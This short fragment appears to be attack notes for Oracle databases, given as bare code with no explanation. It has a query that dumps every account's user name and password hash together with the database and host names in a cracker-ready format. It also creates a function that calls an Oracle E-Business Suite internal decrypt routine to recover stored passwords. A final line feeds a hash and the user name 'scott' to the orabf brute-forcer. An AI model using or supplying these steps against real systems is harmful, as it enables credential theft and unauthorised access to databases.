SELECT username || ':' || password || ':' || NAME || ':' || host_name || ':'
  FROM sys.dba_users, sys.v_$database, sys.v_$instance;

CREATE OR REPLACE FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2 AS LANGUAGE JAVA  NAME
'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

orabf   8A8F025737A9097A:scott